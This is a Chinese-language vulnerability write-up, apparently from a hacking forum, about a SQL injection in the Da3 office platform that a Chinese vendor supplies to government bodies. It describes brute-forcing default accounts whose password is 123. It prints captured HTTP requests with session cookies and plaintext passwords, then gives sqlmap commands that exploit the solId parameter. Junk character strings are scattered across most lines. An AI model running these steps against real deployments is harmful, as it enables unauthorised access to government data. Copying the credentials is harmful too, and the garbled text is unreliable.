同联Da3协同办公平台前台通用sql injection漏洞

admin

; o/ n. U" y6 x1 Y9 P 平台简介：

1 ]/ b9 z: y6 w F9 t/ C" E4 E% v   - _! {3 _1 Z ^3 O. }, {* x

) } l5 c0 T( E( F# h1 F

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
3 o% j' W: S7 M8 h+ a3 G/ f同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

) V! m- ]* ]* ?- q# r* E2 k( X

  : I- Q: y" `" B

9 q2 B, _: J- \7 d4 b% f _7 ?1 m

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

. f1 k- \" u/ A4 v7 u5 T7 I   ) e0 B$ R4 S: p3 }. A; n8 E* A

http://1.1.1.1:7197/cap-aco/#（案例2-）

% p8 [) n, D2 B- n http://www.XXOO.com （案例1-官网网站） - r F. M' L# h7 o& s" l

* G$ x7 f1 R! q+ e" u

  9 a( ^: ]3 K5 _1 H) W# k: L, a* X

8 I+ E/ M6 f2 {. o, r( B

\3 T0 B$ ]6 s% {' m; } 漏洞详情:

1 l: S) w1 @- S- B5 D4 u8 v+ `0 m  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

: ]2 D0 u1 V+ Z) A

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 0 ^, Z5 A$ ~4 E& \2 O

3 A- `# [7 y- P9 Z, M

  0 j2 c8 s7 d+ b; U

  ( L& K! ~ ~3 A3 V) W; ^

9 E) p6 Q3 e( u0 h% G8 ` status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下： 0 U$ i0 H9 I- ~, u# J

7 P3 b+ D0 m# |1 Q( Q, ? 1、案例1-官方网站 1 L6 L5 M- y, \" i" T' F3 B" c

- x% I7 b( h$ k7 r GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 " v9 ]& x9 j% r- J, H1 ^0 S) Q

: E5 R: ^* l5 S$ E V Host: www.XXOO.com 9 i1 f0 K n C9 X' e

Proxy-Connection: Keep-Alive

Accept: application/json, text/javascript, */*; q=0.01 & E# ^% k- z \5 L

( b$ {/ M s* }7 P1 Q) |

0 D7 R5 w/ O' E6 E! r1 V+ I Accept-Language: zh-CN

Content-Type: application/json 4 _) v0 k, `3 D" K

% t" Q: ]$ |: d! l User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko $ R& V; B; {8 ~5 E! C- P

) L& u. S% A8 Q3 _, L! C- n

4 i2 q T* Z' T* ~$ F1 F1 z X-Requested-With: XMLHttpRequest " h- y' m* q! p

, V, M* j/ v5 K$ t1 G# C8 ? Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 8 I! H: @% I" I L4 u

Accept-Encoding: gzip, deflate, sdch

( I' a! w. A, O+ D- o3 |% A

# q6 @* n- D5 d% L$ l Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e : n5 V, f9 q* t1 p2 V1 \. ^: u

3 i# K* }. }1 G$ i5 `9 n4 o 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

7 n8 }8 N1 t/ u1 l/ O   $ t% F. k/ i, v z! R: O( }. Q1 r

 

( e6 t2 E0 D# S2 B1 V

 

 

$ u, f$ ` m0 ]3 W n! ^* H6 P: p8 }   ! e* f, R* ^) J A: [! ^ n% l6 r

7 @) ~+ }6 S& k8 u0 P# G, {1 }

2、案例2-某天河云平台

GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 6 B, q1 D9 m3 o" {1 _3 b/ u8 y. k

( S( C% g b8 x2 K

Host: 1.1.1.:7197

Accept: application/json, text/javascript, */*; q=0.01

8 m9 o D' g+ l

2 v2 s' k9 S( B1 M8 T X-Requested-With: XMLHttpRequest

; l+ n: x# W/ \. b, ]2 T7 k User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

4 e2 a. H/ c( s3 ?

- d% M% v2 U1 j6 K# M; x; ` Content-Type: application/json / ^( M% G) i* Z$ c* \# h2 t- Q2 M

. B( n3 O: z+ I: y- ^7 B

+ k$ _9 A0 U' ^9 N! |! \/ x Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 * R- A3 n2 v( C

3 u( e) L+ Z3 [( i4 d( }

# ^; S8 D9 Q& l9 }3 j0 D$ b1 F Accept-Language: zh-CN,zh;q=0.8 ) y# t6 \* M8 w$ U

Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1

Connection: close

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: $ `7 v2 ]' e( i: ^

' R$ a% X9 @& M3 N